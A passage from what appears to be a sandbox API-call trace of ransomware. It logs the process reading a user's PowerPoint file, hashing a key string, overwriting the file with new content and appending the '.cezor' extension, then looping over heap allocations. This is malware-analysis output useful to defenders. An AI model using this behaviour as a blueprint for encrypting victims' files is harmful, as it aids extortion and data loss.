0x5c4 [0060.206] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=36247) returned 1 [0060.206] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.208] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8d71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.208] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.209] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.209] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8d97, lpOverlapped=0x0) returned 1 [0060.209] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.210] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.210] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.210] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.210] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.210] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.210] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.210] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.210] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.210] GetLastError () returned 0x0 [0060.211] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.211] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8da0) returned 0x3132418 [0060.211] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.211] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x8d92, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x8d92, lpOverlapped=0x0) returned 1 [0060.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.211] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8d97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.211] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.211] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.212] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.212] CloseHandle (hObject=0x5c4) returned 1 [0060.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.212] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yNFdhsIRJWbx9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ynfdhsirjwbx9.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yNFdhsIRJWbx9.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ynfdhsirjwbx9.pptx.cezor")) returned 1 [0060.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.213] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.214] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 1 [0060.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d7f8 [0060.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d7f8 | out: hHeap=0x670000) returned 1 [0060.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.214] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb2b6a1a0, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0xb2b6a1a0, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yw9G-4_B", cAlternateFileName="")) returned 0 [0060.214] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.214] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.214] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.215] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.217] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.217] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.218] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.218] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 